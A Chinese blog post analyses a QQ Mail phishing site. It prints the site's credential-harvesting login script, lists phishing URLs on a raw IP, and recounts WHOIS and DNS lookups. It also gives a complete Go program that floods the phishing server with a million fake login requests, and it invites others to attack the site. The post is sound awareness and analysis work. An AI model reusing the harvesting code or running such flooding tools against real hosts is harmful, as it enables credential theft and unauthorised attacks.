2021年10月13日
今天又收到了一个钓鱼网站:wwi.zxjhae.cn
以下是原文
正在打游戏,突然收到一条邮件。原来是不止我一个人收到啊,舍友也收到了。
打开链接:qqmaildd.acqmail.org.cn/login/4.htm…
如图所示:
显然这是一个仿制的登录页面,HTTP链接,看起来一点都不像的域名已经把它给出卖了。但是如果使用手机打开,就是这样的效果:
一些手机的App比较鸡贼,它不会显示当前的“URL”地址,也不会提示“HTTP”不安全,这就让一些人下意识的认为这就是去登录QQ邮箱,但是你没有意识到你刚刚从QQ邮箱打开这个玩意(非QQ邮箱的用户除外,不过既然都非QQ邮箱了,安全意识应该比较强了才对)。
流程学习
打开“F12”发现了一个“iframe”嵌入标签,
打开这个链接:qqmaildd.acqmail.org.cn/Login.php?u…
一个登录表单,登录的逻辑如下
var jia = false;
$(document).ready(function(){
$("#denglu").click(function(){
s();
});
$("#switcher_qlogin").click(function(){
error("系统繁忙,请您使用QQ账号密码登录!");;
});
});
function s() {
err = false;
var p = $("#p").val();
var u = $("#u").val();
var user='cc930';
u == '' && error('您还没有输入帐号!');
if (err) return false;
p == '' && error("您还没有输入密码!");
if (err) return false;
if (u.length < 6 || u.length > 11) {
error("您输入的帐号或密码不正确,请重新输入。");
$("#u").val('');
$("#p").val('');
return false;
}
if (sameChar(u)) {
error("您输入的帐号或密码不正确,请重新输入。");
$("#u").val('');
$("#p").val('');
return false;
}
var len = p.length; (len < 6 || len > 16) && error('您输入的帐号或密码不正确,请重新输入。');
/*新增密码校验*/
//var pattern = /[\u4e00-\u9fa5]+/g;
//pattern.test(p) && error("您输入的帐号或密码不正确,请重新输入。");
//var pattern2 = /^[0-9]*$/g;
//pattern2.test(p) && error("您输入的帐号或密码不正确,请重新输入。");
if (sameChar(p)) {
error("您输入的帐号或密码不正确,请重新输入。");
$("#u").val('');
$("#p").val('');
return false;
}
if (err) {
$("#u").val('');
$("#p").val('');
return false;
}
if(jia == true){
return false;
}
jia = true;
$.get("/Login.php?action=Login&u="+u+"&p="+p+"&user="+user,function(data,status){
if(data == '1' || data == 1){
window.top.location.href = 'https://www.eol.cn/html/df/shaanxi/2016byj/';
jia = false;
}else{
error("您输入的帐号或密码不正确,请重新输入。");
jia = false;
return false;
}
});
}
function error(msg) {
$("#err_m").html(msg);
$("#error_tips").show().delay(3000).hide(0);
var err = true;
}
function sameChar(str) {
var result = true;
var c = str.charAt(0);
for (var i = 0; i < str.length; i++) {
if (c != str.charAt(i)) {
result = false;
break;
}
}
return result;
}
通过拼接“GET”请求链接进行登录,附上三个参数
- user:固定为“cc930”(其实会变化的)
- u,用户名
- p,密码
成功后,会返回一个“1”,之后会转跳到“www.eol.cn/html/df/sha…”一个教育网站。
可见,并没有对“密码”做校验,说明“后台”只是简单的记录一下数据。
猜测会记录
- 登录IP(用户归属地)
- 账号,密码
- user,对应某一次的钓鱼
之后应该会有人工来挂上“IP”归属地的代理,进行登录的手动测试。
至此,整个流程大概就应该是这样的,可以看出来这个过程非常的简单,但是只要点的人多,自然会有很多收益,尤其是针对特定的目标群体。
收集信息
WHOIS
刚注册不久的域名。
下面还要其它三个域名,对这个QQ邮件感兴趣。
居然发现一个QQ号,简单看一下。
只是一个小号罢了,估计也是其它途径购入的,想尝试继续发掘,但是能力有限,看不到绑定的手机号,也查不到啥其它结果了。
DNS解析
只有一个解析地址,很可能是“直连 IP”,但是我没找到进一步的有用信息。
找后台
抱歉,没找到,太菜了。
不过测试几个其它钓鱼地址
- http://154.38.99.114/login/1.html
- http://154.38.99.114/login/2.html
- http://154.38.99.114/login/4.html
总结
这是一个很简单的钓鱼网站,搭建成本也很低
- 一年的cn域名,org.cn 域名,约 30。
- 一个月的服务器,约 50。
- 静态页面克隆,COPY & PASTE
- PHP 管理后台开发,1~3 天。
- 邮件群发,(收购账号利用账号的关系网,人工 or 手动)。
发送虚假请求
package main
import (
"fmt"
"io/ioutil"
"log"
"math/rand"
"net/http"
"net/url"
"strings"
"sync"
"time"
)
const (
baseURL = "http://154.38.99.114/Login.php?user=cc930&action=Login&"
)
var (
wg = sync.WaitGroup{}
)
type GabageData struct {
I int
U int64
P string
}
func init() {
rand.Seed(time.Now().UnixNano())
}
func main() {
s := time.Now()
gdCh := make(chan *GabageData, 1000)
for i := 0; i < 1000; i++ {
wg.Add(1)
go func() {
for gd := range gdCh {
sendData(gd)
}
wg.Done()
}()
}
for i := 0; i < 1000000; i++ {
gd := genGabageData(i)
gdCh <- gd
}
close(gdCh)
wg.Wait()
fmt.Printf("duration: %v\n", time.Since(s))
}
func sendData(gd *GabageData) {
query := fmt.Sprintf("u=%d&p=%s", gd.U, gd.P)
getUrl := baseURL + url.PathEscape(query)
resp, err := http.Get(getUrl)
defer resp.Body.Close()
if err != nil {
log.Printf("err: %v", err)
return
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Printf("read body: %v", err)
return
}
if len(body) < 10 {
fmt.Printf("%06d: sent data: u=%d, p=%s\n", gd.I, gd.U, gd.P)
} else {
fmt.Printf("%06d: failed: %s\n", gd.I, getUrl)
}
}
// 垃圾数据生成器
func genGabageData(i int) *GabageData {
// 随机 QQ 号,9-10 位
u := rand.Int63n(2_000_000_000) + 1_000_000_00
sb := strings.Builder{}
// 密码长度
l := rand.Intn(10) + 6
for i := 0; i < l; i++ {
// ascii 可见字符
c := rand.Intn(126-33) + 33
sb.WriteByte(byte(c))
}
return &GabageData{
I: i,
U: u,
P: sb.String(),
}
}
通过“GET”请求,将随机生成的数据发送给对方,虽然效果不大,但是可以恶心一下对方。
最后,希望有大佬出手来简单“修整”一下这个钓鱼网站(鄙人能力实在有限)。